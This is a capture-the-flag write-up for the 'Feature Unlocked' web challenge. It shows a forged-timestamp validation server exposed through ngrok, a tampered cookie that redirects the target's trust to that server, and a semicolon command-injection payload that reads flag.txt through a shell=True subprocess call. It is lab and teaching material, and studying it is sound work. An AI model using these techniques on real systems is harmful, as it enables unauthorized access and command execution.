CybersecCTF2024 web/Feature Unlocked
My solution for CybersecCTF web/Feature Unlocked challenge
Challenge overview
This challenge involved exploiting a web application to retrieve a hidden flag. The application was composed of multiple components, including a validation server and a main application with a feature endpoint vulnerable to command injection.
Application architecture
Validation server on port 1338
Generates an ECC key pair and provides the public key via a /pubkey endpoint. It also signs a timestamp with the private key and returns it through the root endpoint (/).
- Endpoints:
/pubkey- returns the publick key in PEM format/- returns a JSON object containing the current timestamp and its signature
Main application on port 1337
Uses the public key from the validation server to verify a signed timestamp. It checks if the current time is beyond a specific release timestamp to unlock a feature.
- Endpoints:
/release- checks if the feature can be unlocked and sets anaccess_tokencookie if verification is successful./feature- provides access to a feature page, which includes a word count functionality vulnerable to command injection.
Set up a custom validation server
The main application relied on a validation server to verify access. To bypass the time-based feature lock, we set up our own validation server that returned a future timestamp.
Install required libraries:
Ensure python and necessary libraries are installed:
pip install Flask pycryptodome
Create validation server script:
Write a python script to mimic the original validation server:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from flask import Flask, jsonify
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
import time
app = Flask(__name__)
# Generate ECC key pair
key = ECC.generate(curve='P-256')
pubkey = key.public_key().export_key(format='PEM')
@app.route('/pubkey', methods=['GET'])
def get_pubkey():
return pubkey, 200, {'Content-Type': 'text/plain; charset=utf-8'}
@app.route('/', methods=['GET'])
def index():
# Set a future timestamp
future_time = str(int(time.time()) + 8 * 24 * 60 * 60) # 8 days in the future
h = SHA256.new(future_time.encode('utf-8'))
signature = DSS.new(key, 'fips-186-3').sign(h)
return jsonify({'date': future_time, 'signature': signature.hex()})
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1338)
Expose the server:
Use for example ngrok to expose the local server to the internet: ngrok http 1338.
Note the public URL provided by ngrok.
Obtain access token
With the validation server set up, the next step was to obtain an access_token cookie by tricking the main application into using our server.
Modify preferences cookie:
Encode the preferences cookie to point to our custom validation server:
1
2
3
4
5
6
7
8
9
import base64
import json
preferences = {
'theme': 'light',
'language': 'en',
'validation_server': 'http://<ngrok-url>.ngrok.io'
}
encoded_preferences = base64.b64encode(json.dumps(preferences).encode()).decode()
Send request to /release endpoint:
Use a script or tool like Postman to send a request with the modifed preferences cookie:
1
2
3
4
5
6
7
import requests
url = 'https://feature-unlocked-web.challs.csc.tf/release?debug=true'
cookies = {'preferences': encoded_preferences}
response = requests.get(url, cookies=cookies)
print('Access Token:', response.cookies.get('access_token'))
Verify access token:
Check the response to ensure the access_token cookie was set, indicating successful bypass of the time-based check.
Exploit command injection
With access to the feature page, the focus shifted to exploiting the command injection vulnerability.
The feature endpoint used subprocess.check_output with shell=True, allowing for command injection:
1
2
word_count = f"echo {to_process} | wc -w"
output = subprocess.check_output(word_count, shell=True, text=True)
We can craft injection payload. Use a semicolon to terminate the echo command inject cat flag.txt:
text=;cat flag.txt;test
Intercept the POST request to /feature using Burp Suite, modify text parameter and forward the request.
Check the response for the contents of flag.txt, which contained the flag:
CSCTF{d1d_y0u_71m3_7r4v3l_f0r_7h15_fl46?!}
Conclusion
This challenge demonstrated the critical importance of input validation and the dangers of using shell=True in subprocess calls. By understanding the architecture and exploiting the command injection vulnerability, we successfully retrieved the flag. This serves as a reminder to always sanitize inputs and avoid executing user input directly in shell commands.